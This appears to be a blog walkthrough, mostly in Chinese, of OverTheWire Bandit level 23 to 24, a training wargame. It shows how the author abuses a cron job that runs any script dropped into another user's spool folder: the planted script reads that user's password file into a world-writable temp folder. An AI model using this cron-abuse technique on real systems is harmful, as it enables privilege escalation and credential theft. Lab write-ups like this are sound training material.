Cavey's Blog

Level Goal#

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ */ for the configuration and see what command is being executed.

NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!

NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…

My Answer (Step by step)#

1. 連線到伺服器並登入

1
ssh bandit23@bandit.labs.overthewire.org -p 2220

2. 透過 cd 與 ls 指令前往 /etc/cron.d 目錄查看有哪些排程工作

1
cd /etc/cron.d
2
ls -al

{{< alert info >}} 根據指令結果，發現有一個檔案 cronjob_bandit24 名稱跟下一等級相關 {{< /alert >}}

3. 透過 cat 指令將檔案 cronjob_bandit24 內容呈現出來

1
cat cronjob_bandit24
2
# @reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
3
# * * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

{{< alert info >}} 根據指令結果，發現此工作會執行 /usr/bin/cronjob_bandit24.sh {{< /alert >}}

4. 透過 cat 指令將 sh script 呈現出來

1
cat /usr/bin/cronjob_bandit24.sh
2
# #!/bin/bash
3

4
# myname=$(whoami)
5

6
# cd /var/spool/$myname/foo
7
# echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
8
# for i in * .*;
9
# do
10
#     if [ "$i" != "." -a "$i" != ".." ];
11
#     then
12
#         echo "Handling $i"
13
#         owner="$(stat --format "%U" ./$i)"
14
#         if [ "${owner}" = "bandit23" ]; then
15
#             timeout -s 9 60 ./$i
16
#         fi
17
#         rm -f ./$i
18
#     fi
19
# done

{{< alert info >}} 根據指令結果，發現會執行並刪除所有在 /var/spool/bandit24/foo 的 script，所以我們可以在裡面寫一個獲得 bandit24 密碼的 script {{< /alert >}}

5. 透過 mktemp 與 cd 指令產生暫存資料夾並進入它

1
mktemp -d
2
cd /tmp/tmp.2ZUZlHBJ3d

6. 透過 touch 指令產生腳本檔與密碼輸出檔，並透過 chmod 指令修改權限讓排程工作可以順利執行腳本與寫入密碼

1
touch a.sh
2
touch password.txt
3
chmod 777 -R /tmp/tmp.2ZUZlHBJ3d

7. 透過 vim, vi, nano 等指令編輯 a.sh script

1
nano a.sh

a.sh

1
#!/bin/bash
2
cat /etc/bandit_pass/bandit24 > /tmp/tmp.2ZUZlHBJ3d/password.txt

8. 透過 cp 指令將腳本檔放入指定目錄，並等待它執行

1
cp a.sh /var/spool/bandit24/foo/a.sh

9. 約等一分鐘後，透過 cat 指令獲得 Level 24 密碼!

1
cat password.txt